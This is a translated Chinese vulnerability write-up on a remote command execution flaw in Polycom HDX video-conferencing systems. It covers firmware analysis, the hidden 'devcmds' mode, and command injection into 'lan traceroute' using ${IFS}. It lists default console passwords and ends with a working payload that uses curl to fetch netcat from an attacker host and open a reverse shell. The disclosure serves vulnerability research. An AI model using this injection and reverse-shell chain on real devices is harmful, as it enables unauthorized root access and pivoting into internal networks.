視頻會議系統Polycom HDX遠程命令執行漏洞分析
譯者:興趣使然的小胃
預估稿費:200RMB
投稿方式:發送郵件至linwei#http://360.cn,或登陸網頁版在線投稿
一、前言
對目標執行外圍評估時,你需要花適量的時間,收集目標指紋信息,找到可能存在的攻擊路徑。如果目標是一個大型企業,你很有可能會找到視頻會議端點。本文詳細介紹了Polycom HDX系列視頻會議系統中存在的一個漏洞。
我在任職於SensePost時發現了這個漏洞,並將其報告給Polycom。Polycom確認了這個漏洞,並通知我們會發布一個補丁來修復這個漏洞。這件事情距今已過去一年多時間,但我還沒有看到官方公布安全公告或者漏洞補丁。從這個漏洞被披露起,官方已經修復了HDX系列中存在的一個XSS漏洞,因此可能他們認為這個漏洞的影響沒那麼大。
二、Polycom PSH
Polycom HDX系列產品通過23埠提供管理控制台服務。管理介面搭建在PSH(Polycom Shell)基礎上,可以用來管理底層設備。默認情況下,這個介面並沒有設置密碼,或者會以456、admin或者POLYCOM作為密碼,並且這個介面也沒有綁定用戶名。此外,PSH還存在一個認證繞過漏洞,不過這個漏洞的時間可以追溯到2013年,因此理論上大多數系統都已打過相應補丁。
連接到PSH控制台後,你會看到許多可用的操作,可以利用這些命令與底層會議系統交互。
這些都是非常有用的命令,然而這並不是我們需要的命令,因為我們尋找的是能夠進入內部網路的方法。如果能找到命令執行方法,就很有希望能進入內部網路。回顧2013年曝光的那個認證繞過漏洞,當時他們提到了一個更早的漏洞,可以通過往ping命令中注入命令實現RCE(遠程代碼執行)目的。
三、枚舉可用攻擊面
在我的評估過程中,我發現目標對象中包含一個Polycom端點,這個端點沒有啟用任何身份認證機制。在沒有其他可用的攻擊方法前提下,我決定試一下通過這個介面進入目標內部網路。我嘗試過老版本的ping命令執行漏洞,希望能夠拿到一個shell,但不幸的是,該設備已打過補丁,導致攻擊失敗。然而,這個RCE漏洞給了我一些啟示,我覺得另一個函數中可能會存在類似的漏洞。
仔細查閱官方參考手冊,手動測試每條命令後,我依然沒能完成命令執行目標。下一步就是嘗試尋找隱藏的函數。為此,我從Polycom官方更新網頁下載了系統軟體的一個副本。這個更新副本為.pup
文件,我使用binwalk工具來分析這個文件的具體構成。結果表明這個文件的格式並不複雜,binwalk可以自動提取出其中的所有組件。
命令如下:
1
binwalk -e polycom-hdx-release-3.1.10-51067.pup
接下來的工作就是深入分析提取出的所有二進位文件,找到那些文件比較重要、與polycom command shell(PSH)有關。在快速查閱Polycom技術文檔的同時,我也參考了PSH中help命令提供的信息,綜合這些信息,我明確了哪些文件是我們的尋找目標。
我解壓了polycom_swupdate目錄中所有的.tar.gz
文件,然後執行grep命令來搜索包含某個已知命令的文件。
cd _polycom-hdx-release-3.1.10-51067.pup.extracted/polycom_swupdatentar xf polycom.g3.1.tar.gzngrep dialchannels -R *n
新的目標是avc程序。分析二進位文件最為偷懶的一種方法就是使用strings命令,這也是我所使用的方法。
strings avc | lessn
這條命令的輸出結果可以翻頁,便於搜索,根據這些結果,我可以窺探二進位文件及其中可能包含的命令。根據grep的搜索結果,這個文件中包含dialchannels命令,這個信息表明其他命令也有可能會以字元串形式硬編碼到該文件中。我們需要遍歷所有的字元串,這是一個艱辛的過程,不過幸好我們可以走條捷徑。這個程序使用c/c++編寫,並且代碼中到處可見格式化字元串(%s)的身影。我只需要尋找使用格式化字元串(%s)並將字元串傳遞給已知Linux系統命令的那些命令即可。
其中最有希望的是traceroute命令。原因有兩方面,首先,該命令似乎會直接調用Linux命令,並且使用格式化字元串來傳遞參數;其次,之前曝光的命令注入漏洞存在於ping命令中(這是我們最喜歡的操作系統命令注入點)。此時貌似我們已經可以完成任務,只需要調用traceroute sleep 10命令應該就能得到命令執行效果。但事實證明並非如此。調用traceroute命令後會不斷返回錯誤信息,提示該命令並不存在。看起來我們並不能直接調用traceroute,因此我需要尋找調用traceroute命令的正確方式。為此,我又回到前面的字元串列表中,查找其中是否包含traceroute。
根據搜索結果,我們知道traceroute是lan命令的部分選項,因此我可以嘗試注入這條命令。再次回到Polycom Command Shell,經過嘗試後,shell提示我們lan命令中並不包含traceroute選項。
但我認為選項中肯定包含traceroute,因為我已經在二進位文件中找到過這條命令的身影。經過艱難的搜索,我在分析bin/psh
文件時發現其中包含一條未公開命令。這條命令就是devcmds,看起來非常美好。運行這條命令後,我們就能看到一條非常有趣的歡迎信息。
-> devcmdsnEntering sticky internal commands *ONLY* moden
四、Devcmds模式
一旦進入這個模式,我發現前面可用的某些原始命令不會再起作用,貌似devcmds會激活一個新的代碼分支。在這個模式下,再次嘗試lan命令,突然間我們就可以使用traceroute了。我們可以使用lan traceroute 127.0.0.1
來驗證這條命令是否能正常工作。
接下來就是嘗試其他命令注入場景。
lan traceroute `echo 127.0.0.1`n
然而這條命令無法成功執行,結果提示我們輸入了無效的參數。
2017-11-12 12:16:40 DEBUG avc: pc[0]: NOTIFY: SYS lan traceroute Error:n2017-11-12 12:16:40 ERROR avc: pc[0]: DevMgrEther: DevMgrEther_Process_TraceRoute - (/usr/bin/traceroute `echo 2>&1 > /tmp/traceroute.out) failed [errno: 2 - No such file or directory]n
查看輸出結果後,我們可以發現echo之後的所有數據會直接被丟棄掉。這是因為其中包含空格符,程序會將空格符解釋為一個單獨的參數(程序很可能會使用空格符來拆分輸入參數)。
${IFS}
幸運的是,Bash/Sh中包含一個非常棒的環境變數,即$IFS
(Internal Field Separator,內部欄位分隔符)。我可以使用這個環境變數來替代空格符,只需要將命令注入場景中的所有空格符替換為${IFS}
即可。
lan traceroute `echo${IFS}127.0.0.1`n2009-07-25 06:08:41 DEBUG avc: pc[0]: uimsg: D: lan traceroute `echo${IFS}127.0.0.1`n2009-07-25 06:08:41 DEBUG avc: pc[0]: os: task:DETR pid:1754 thread 622ff4c0 17255 13fbc110n2009-07-25 06:08:41 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `echo${IFS}127.0.0.1` hop_count: 0 n
五、利用方法
如果這的確是RCE漏洞,為何我們不獲取一個可用的shell?的確應該這麼做。繼續測試命令注入場景,我們又發現了一些限制條件。貌似程序會過濾掉分號(;),我們並不知道為什麼會出現這種情況,可能是之前部分修復ping注入漏洞時的歷史遺留問題。另一個問題是,在底層Polycom設備上,我只能使用數量有限的預置程序。也就是說,我無法使用nc命令,也無法使用反彈式bash shell。
幸運的是,我們還可以使用curl,這意味著我們可以把自定義二進位程序下載到設備中,然後再使用這些程序。我們希望能獲得netcat反彈式shell,所以我們需要找到能在Polycom設備上運行的nc程序。Polycom運行在powerpc上,也就是說我們需要找到兼容的nc程序,而不能直接把本地系統的nc程序上傳到設備上。這並不是一個真正的難題,很容易解決。只需要啟動基於powerpc的Debian鏡像,就能找到能夠適配powerpc的nc程序,並且該程序也包含-e選項。
我們可以使用qemu來運行Debian鏡像:
qemu-system-ppc -hda debian_squeeze_powerpc_standard.qcow2
使用root:root憑證登錄,然後拷貝/bin/nc.traditional
二進位文件即可。
在本地運行如下命令:
nc -lv 8999 > /tmp/nc
在qemu中運行如下命令:
cat
/bin/nc.traditional | nc 192.168.1.101 8999
現在我們就可以充分利用Polycom上的RCE漏洞了。
獲取Shell
我把powerpc版的nc上傳到了web伺服器上,以便下載到Polycom設備上。然後,運行監聽端,接受目標返回的反彈連接。
使用如下命令運行監聽端:
nc -lvp 444
我們可以使用如下命令來下載nc,設置可執行許可權,然後創建反彈式shell。將這些命令保存為web伺服器上的一個載荷文件。
curl x.x.x.x:443/nc
-o /tmp/nc
/bin/chmod
+x /tmp/nc
/tmp/nc
-e /bin/sh
x.x.x.x 444
然後,通過命令注入漏洞執行如下命令:
lan traceroute
echo${IFS}127.0.0.1&curl${IFS}x.x.x.x:443/ncexec${IFS}|sh${IFS}&
六、總結
現在,我們已經完全掌握底層設備的root訪問許可權,可以訪問內部主機。理想情況下,會議系統會被放置在獨立的子網中,並不能訪問內部網路。然而,我們知道實際環境中經常可以看到扁平式網路結構以及缺乏隔離機制的網路環境,此時我們就能以此為突破口訪問內部網路。
推薦閱讀:
※Android 上的漏洞「寄生獸」對普通用戶有何影響,如何防範?
※談談攜程支付日誌泄漏與用戶隱私
※什麼叫漏洞 hash?
※如何檢查開源網站代碼是否留有後門?